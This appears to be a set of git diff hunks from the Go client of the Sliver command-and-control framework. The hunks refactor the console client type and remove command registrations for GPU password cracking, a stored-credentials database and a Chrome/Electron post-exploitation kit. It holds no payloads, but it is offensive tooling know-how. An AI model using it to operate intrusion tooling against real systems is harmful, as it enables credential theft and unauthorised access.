// [ Processes ]
// [ Aliases ]
// [ Extensions ]
// Commands not to bind in CLI:
// - portforwarders
// - Socks (and wg-socks ?)
// - shell ?
// Take care of:
// - double bind help command
// - double bind session commands
// - don't bind readline command in CLI.
-29
View File
@@ -55,32 +55,3 @@ func ClientInterfacesCompleter() carapace.Action {
return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':') return carapace.ActionValues(results...).Tag("client interfaces").NoSpace(':')
}) })
} }
// LocalProxyCompleter gives URL completion to all flags/arguments that accept a client proxy address.
func LocalProxyCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
prefix := ""
hostPort := carapace.ActionMultiParts(":", func(c carapace.Context) carapace.Action {
switch len(c.Parts) {
case 0:
return ClientInterfacesCompleter()
case 1:
return carapace.ActionMessage("server port")
default:
return carapace.ActionValues()
}
})
return carapace.ActionMultiParts("://", func(c carapace.Context) carapace.Action {
switch len(c.Parts) {
case 0:
return carapace.ActionValues("http", "https").Tag("proxy protocols").Suffix("://")
case 1:
return hostPort
default:
return carapace.ActionValues()
}
}).Invoke(c).Prefix(prefix).ToA()
})
}
-143
View File
@@ -1,143 +0,0 @@
package crack
import (
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
crackCmd := &cobra.Command{
Use: consts.CrackStr,
Short: "Crack: GPU password cracking",
Long: help.GetHelpFor([]string{consts.CrackStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
CrackCmd(cmd, con, args)
},
}
flags.Bind("", true, crackCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
crackStationsCmd := &cobra.Command{
Use: consts.StationsStr,
Short: "Manage crackstations",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.StationsStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackStationsCmd(cmd, con, args)
},
}
crackCmd.AddCommand(crackStationsCmd)
wordlistsCmd := &cobra.Command{
Use: consts.WordlistsStr,
Short: "Manage wordlists",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.WordlistsStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsCmd(cmd, con, args)
},
}
crackCmd.AddCommand(wordlistsCmd)
wordlistsAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a wordlist",
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsAddCmd(cmd, con, args)
},
}
flags.Bind("", false, wordlistsAddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "wordlist name (blank = filename)")
})
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
wordlistsCmd.AddCommand(wordlistsAddCmd)
wordlistsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a wordlist",
Run: func(cmd *cobra.Command, args []string) {
CrackWordlistsRmCmd(cmd, con, args)
},
}
wordlistsCmd.AddCommand(wordlistsRmCmd)
carapace.Gen(wordlistsRmCmd).PositionalCompletion(CrackWordlistCompleter(con).Usage("wordlist to remove"))
rulesCmd := &cobra.Command{
Use: consts.RulesStr,
Short: "Manage rule files",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesCmd(cmd, con, args)
},
}
crackCmd.AddCommand(rulesCmd)
rulesAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a rules file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesAddCmd(cmd, con, args)
},
}
flags.Bind("", false, rulesAddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "rules name (blank = filename)")
})
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
rulesCmd.AddCommand(rulesAddCmd)
rulesRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove rules",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.RulesStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackRulesRmCmd(cmd, con, args)
},
}
carapace.Gen(rulesRmCmd).PositionalCompletion(CrackRulesCompleter(con).Usage("rules to remove"))
rulesCmd.AddCommand(rulesRmCmd)
hcstat2Cmd := &cobra.Command{
Use: consts.Hcstat2Str,
Short: "Manage markov hcstat2 files",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2Cmd(cmd, con, args)
},
}
crackCmd.AddCommand(hcstat2Cmd)
hcstat2AddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a hcstat2 file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2AddCmd(cmd, con, args)
},
}
flags.Bind("", false, hcstat2AddCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
})
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
hcstat2Cmd.AddCommand(hcstat2AddCmd)
hcstat2RmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove hcstat2 file",
Long: help.GetHelpFor([]string{consts.CrackStr, consts.Hcstat2Str, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CrackHcstat2RmCmd(cmd, con, args)
},
}
carapace.Gen(hcstat2RmCmd).PositionalCompletion(CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
hcstat2Cmd.AddCommand(hcstat2RmCmd)
return []*cobra.Command{crackCmd}
}
+25 -24
View File
@@ -25,17 +25,18 @@ import (
"io" "io"
"os" "os"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/klauspost/compress/zstd"
"github.com/spf13/cobra"
) )
// CrackWordlistsCmd - Manage GPU cracking stations. // CrackWordlistsCmd - Manage GPU cracking stations
func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST}) wordlists, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_WORDLIST})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -54,8 +55,8 @@ func CrackWordlistsCmd(cmd *cobra.Command, con *console.SliverClient, args []str
} }
} }
// CrackRulesCmd - Manage GPU cracking stations. // CrackRulesCmd - Manage GPU cracking stations
func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES}) rules, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_RULES})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -74,8 +75,8 @@ func CrackRulesCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
} }
} }
// CrackHcstat2Cmd - Manage GPU cracking stations. // CrackHcstat2Cmd - Manage GPU cracking stations
func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -94,7 +95,7 @@ func CrackHcstat2Cmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Size"}) tw.AppendHeader(table.Row{"Name", "Size"})
@@ -104,7 +105,7 @@ func PrintCrackFiles(crackFiles *clientpb.CrackFiles, con *console.SliverClient)
con.Printf("%s\n", tw.Render()) con.Printf("%s\n", tw.Render())
} }
func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverClient) { func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverConsoleClient) {
wordlistTable := table.NewWriter() wordlistTable := table.NewWriter()
wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal) wordlistTable.SetTitle(console.Bold + "Wordlists" + console.Normal)
wordlistTable.SetStyle(settings.GetTableStyle(con)) wordlistTable.SetStyle(settings.GetTableStyle(con))
@@ -161,8 +162,8 @@ func PrintCrackFilesByType(crackFiles *clientpb.CrackFiles, con *console.SliverC
) )
} }
// CrackWordlistsAddCmd - Manage GPU cracking stations. // CrackWordlistsAddCmd - Manage GPU cracking stations
func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
@@ -205,8 +206,8 @@ func CrackWordlistsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []
addCrackFile(wordlist, crackFile, con) addCrackFile(wordlist, crackFile, con)
} }
// CrackRulesAddCmd - add a rules file. // CrackRulesAddCmd - add a rules file
func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
@@ -249,8 +250,8 @@ func CrackRulesAddCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
addCrackFile(rules, crackFile, con) addCrackFile(rules, crackFile, con)
} }
// CrackHcstat2AddCmd - add a hcstat2 file. // CrackHcstat2AddCmd - add a hcstat2 file
func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
name, _ := cmd.Flags().GetString("name") name, _ := cmd.Flags().GetString("name")
var localPath string var localPath string
@@ -293,7 +294,7 @@ func CrackHcstat2AddCmd(cmd *cobra.Command, con *console.SliverClient, args []st
addCrackFile(hcstat2, crackFile, con) addCrackFile(hcstat2, crackFile, con)
} }
func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverClient) { func addCrackFile(localFile *os.File, crackFile *clientpb.CrackFile, con *console.SliverConsoleClient) {
digest := sha256.New() digest := sha256.New()
wordlistReader := io.TeeReader(localFile, digest) wordlistReader := io.TeeReader(localFile, digest)
@@ -401,8 +402,8 @@ func readChunkAt(tmpFile *os.File, offset int64, chunkSize int64) ([]byte, error
return chunkBuf[:n], nil return chunkBuf[:n], nil
} }
// CrackWordlistsRmCmd - Manage GPU cracking stations. // CrackWordlistsRmCmd - Manage GPU cracking stations
func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var wordlistName string var wordlistName string
if len(args) > 0 { if len(args) > 0 {
wordlistName = args[0] wordlistName = args[0]
@@ -435,8 +436,8 @@ func CrackWordlistsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []s
} }
} }
// CrackRulesRmCmd - Manage GPU cracking stations. // CrackRulesRmCmd - Manage GPU cracking stations
func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var rulesName string var rulesName string
if len(args) > 0 { if len(args) > 0 {
rulesName = args[0] rulesName = args[0]
@@ -469,8 +470,8 @@ func CrackRulesRmCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
} }
} }
// CrackHcstat2RmCmd - remove a hcstat2 file. // CrackHcstat2RmCmd - remove a hcstat2 file
func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackHcstat2RmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var hcstat2Name string var hcstat2Name string
if len(args) > 0 { if len(args) > 0 {
hcstat2Name = args[0] hcstat2Name = args[0]
+7 -7
View File
@@ -33,7 +33,7 @@ import (
) )
// CrackCmd - GPU password cracking interface // CrackCmd - GPU password cracking interface
func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
if !AreCrackersOnline(con) { if !AreCrackersOnline(con) {
PrintNoCrackstations(con) PrintNoCrackstations(con)
} else { } else {
@@ -58,7 +58,7 @@ func CrackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
} }
// CrackStationsCmd - Manage GPU cracking stations // CrackStationsCmd - Manage GPU cracking stations
func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CrackStationsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -71,11 +71,11 @@ func CrackStationsCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
} }
} }
func PrintNoCrackstations(con *console.SliverClient) { func PrintNoCrackstations(con *console.SliverConsoleClient) {
con.PrintInfof("No crackstations connected to server\n") con.PrintInfof("No crackstations connected to server\n")
} }
func AreCrackersOnline(con *console.SliverClient) bool { func AreCrackersOnline(con *console.SliverConsoleClient) bool {
crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{}) crackers, err := con.Rpc.Crackstations(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
return false return false
@@ -83,7 +83,7 @@ func AreCrackersOnline(con *console.SliverClient) bool {
return len(crackers.Crackstations) > 0 return len(crackers.Crackstations) > 0
} }
func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient) { func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverConsoleClient) {
sort.Slice(crackers, func(i, j int) bool { sort.Slice(crackers, func(i, j int) bool {
return crackers[i].Name < crackers[j].Name return crackers[i].Name < crackers[j].Name
}) })
@@ -96,7 +96,7 @@ func PrintCrackers(crackers []*clientpb.Crackstation, con *console.SliverClient)
} }
} }
func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverClient) { func printCracker(cracker *clientpb.Crackstation, index int, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n") tw.SetTitle(console.Bold + console.Orange + fmt.Sprintf(">>> Crackstation %02d - %s (%s)", index+1, cracker.Name, cracker.OperatorName) + console.Normal + "\n")
@@ -135,7 +135,7 @@ func printCracker(cracker *clientpb.Crackstation, index int, con *console.Sliver
printBenchmarks(cracker, con) printBenchmarks(cracker, con)
} }
func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverClient) { func printBenchmarks(cracker *clientpb.Crackstation, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(console.Bold + "Benchmarks" + console.Normal) tw.SetTitle(console.Bold + "Benchmarks" + console.Normal)
+3 -3
View File
@@ -10,7 +10,7 @@ import (
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
) )
func CrackHcstat2Completer(con *console.SliverClient) carapace.Action { func CrackHcstat2Completer(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
@@ -33,7 +33,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
}) })
} }
func CrackWordlistCompleter(con *console.SliverClient) carapace.Action { func CrackWordlistCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
@@ -57,7 +57,7 @@ func CrackWordlistCompleter(con *console.SliverClient) carapace.Action {
}) })
} }
func CrackRulesCompleter(con *console.SliverClient) carapace.Action { func CrackRulesCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2}) hcstat2, err := con.Rpc.CrackFilesList(context.Background(), &clientpb.CrackFile{Type: clientpb.CrackFileType_MARKOV_HCSTAT2})
if err != nil { if err != nil {
+4 -4
View File
@@ -37,8 +37,8 @@ const (
CSVFormat = "csv" // username,hash\n CSVFormat = "csv" // username,hash\n
) )
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsAddCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection") collection, _ := cmd.Flags().GetString("collection")
username, _ := cmd.Flags().GetString("username") username, _ := cmd.Flags().GetString("username")
plaintext, _ := cmd.Flags().GetString("plaintext") plaintext, _ := cmd.Flags().GetString("plaintext")
@@ -76,8 +76,8 @@ func CredsAddCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
PrintCreds(creds.Credentials, con) PrintCreds(creds.Credentials, con)
} }
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsAddHashFileCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
collection, _ := cmd.Flags().GetString("collection") collection, _ := cmd.Flags().GetString("collection")
filePath := args[0] filePath := args[0]
fileFormat, _ := cmd.Flags().GetString("file-format") fileFormat, _ := cmd.Flags().GetString("file-format")
-82
View File
@@ -1,82 +0,0 @@
package creds
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
credsCmd := &cobra.Command{
Use: consts.CredsStr,
Short: "Manage the database of credentials",
Long: help.GetHelpFor([]string{consts.CredsStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
CredsCmd(cmd, con, args)
},
}
flags.Bind("creds", true, credsCmd, func(f *pflag.FlagSet) {
f.IntP("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
credsAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr}),
Run: func(cmd *cobra.Command, args []string) {
CredsAddCmd(cmd, con, args)
},
}
flags.Bind("", false, credsAddCmd, func(f *pflag.FlagSet) {
f.StringP("collection", "c", "", "name of collection")
f.StringP("username", "u", "", "username for the credential")
f.StringP("plaintext", "p", "", "plaintext for the credential")
f.StringP("hash", "P", "", "hash of the credential")
f.StringP("hash-type", "H", "", "hash type of the credential")
})
flags.BindFlagCompletions(credsAddCmd, func(comp *carapace.ActionMap) {
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
credsCmd.AddCommand(credsAddCmd)
credsAddFileCmd := &cobra.Command{
Use: consts.FileStr,
Short: "Add a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.AddStr, consts.FileStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
CredsAddHashFileCmd(cmd, con, args)
},
}
flags.Bind("", false, credsAddFileCmd, func(f *pflag.FlagSet) {
f.StringP("collection", "c", "", "name of collection")
f.StringP("file-format", "F", HashNewlineFormat, "file format of the credential file")
f.StringP("hash-type", "H", "", "hash type of the credential")
})
flags.BindFlagCompletions(credsAddFileCmd, func(comp *carapace.ActionMap) {
(*comp)["collection"] = CredsCollectionCompleter(con)
(*comp)["file-format"] = CredsHashFileFormatCompleter(con)
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
credsAddCmd.AddCommand(credsAddFileCmd)
credsRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a credential to the database",
Long: help.GetHelpFor([]string{consts.CredsStr, consts.RmStr}),
Run: func(cmd *cobra.Command, args []string) {
CredsRmCmd(cmd, con, args)
},
}
carapace.Gen(credsRmCmd).PositionalCompletion(CredsCredentialIDCompleter(con).Usage("id of credential to remove (leave empty to select)"))
credsCmd.AddCommand(credsRmCmd)
return []*cobra.Command{credsCmd}
}
+14 -13
View File
@@ -23,17 +23,18 @@ import (
"fmt" "fmt"
"strings" "strings"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
) )
// CredsCmd - Manage credentials. // CredsCmd - Manage credentials
func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{}) creds, err := con.Rpc.Creds(context.Background(), &commonpb.Empty{})
if err != nil { if err != nil {
con.PrintErrorf("%s\n", err) con.PrintErrorf("%s\n", err)
@@ -46,7 +47,7 @@ func CredsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
PrintCreds(creds.Credentials, con) PrintCreds(creds.Credentials, con)
} }
func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) { func PrintCreds(creds []*clientpb.Credential, con *console.SliverConsoleClient) {
collections := make(map[string][]*clientpb.Credential) collections := make(map[string][]*clientpb.Credential)
for _, cred := range creds { for _, cred := range creds {
collections[cred.Collection] = append(collections[cred.Collection], cred) collections[cred.Collection] = append(collections[cred.Collection], cred)
@@ -57,7 +58,7 @@ func PrintCreds(creds []*clientpb.Credential, con *console.SliverClient) {
} }
} }
func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverClient) { func printCollection(collection string, creds []*clientpb.Credential, con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
if collection != "" { if collection != "" {
@@ -87,7 +88,7 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
} }
// CredsHashTypeCompleter completes hash types. // CredsHashTypeCompleter completes hash types.
func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action { func CredsHashTypeCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
@@ -100,8 +101,8 @@ func CredsHashTypeCompleter(con *console.SliverClient) carapace.Action {
}) })
} }
// CredsHashFileFormatCompleter completes file formats for hash-files. // CredsHashFileFormatCompleter completes file formats for hash-files
func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action { func CredsHashFileFormatCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionValuesDescribed( return carapace.ActionValuesDescribed(
UserColonHashNewlineFormat, "One hash per line.", UserColonHashNewlineFormat, "One hash per line.",
HashNewlineFormat, "A file containing lines of 'username:hash' pairs.", HashNewlineFormat, "A file containing lines of 'username:hash' pairs.",
@@ -109,8 +110,8 @@ func CredsHashFileFormatCompleter(con *console.SliverClient) carapace.Action {
).Tag("hash file formats") ).Tag("hash file formats")
} }
// CredsCollectionCompleter completes existing creds collection names. // CredsCollectionCompleter completes existing creds collection names
func CredsCollectionCompleter(con *console.SliverClient) carapace.Action { func CredsCollectionCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
@@ -133,7 +134,7 @@ func CredsCollectionCompleter(con *console.SliverClient) carapace.Action {
} }
// CredsCredentialIDCompleter completes credential IDs. // CredsCredentialIDCompleter completes credential IDs.
func CredsCredentialIDCompleter(con *console.SliverClient) carapace.Action { func CredsCredentialIDCompleter(con *console.SliverConsoleClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := make([]string, 0) results := make([]string, 0)
+2 -2
View File
@@ -27,8 +27,8 @@ import (
"github.com/spf13/cobra" "github.com/spf13/cobra"
) )
// CredsCmd - Add new credentials. // CredsCmd - Add new credentials
func CredsRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func CredsRmCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var id string var id string
if len(args) > 0 { if len(args) > 0 {
id = args[0] id = args[0]
+3 -2
View File
@@ -9,13 +9,14 @@ import (
"text/tabwriter" "text/tabwriter"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb" "github.com/bishopfox/sliver/protobuf/commonpb"
) )
// SelectCredential - Interactive menu for the user to select a credentials from the database. // SelectCredential - Interactive menu for the user to select a credentials from the database
func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverClient) (*clientpb.Credential, error) { func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.SliverConsoleClient) (*clientpb.Credential, error) {
var creds *clientpb.Credentials var creds *clientpb.Credentials
var err error var err error
if hashType == clientpb.HashType_INVALID { if hashType == clientpb.HashType_INVALID {
-149
View File
@@ -1,149 +0,0 @@
package cursed
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the “ command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
cursedCmd := &cobra.Command{
Use: consts.Cursed,
Short: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
Long: help.GetHelpFor([]string{consts.Cursed}),
GroupID: consts.ExecutionHelpGroup,
Annotations: flags.RestrictTargets(consts.SessionCmdsFilter),
Run: func(cmd *cobra.Command, args []string) {
CursedCmd(cmd, con, args)
},
}
flags.Bind("", true, cursedCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
cursedRmCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove a Curse from a process",
Long: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
Args: cobra.ExactArgs(1),
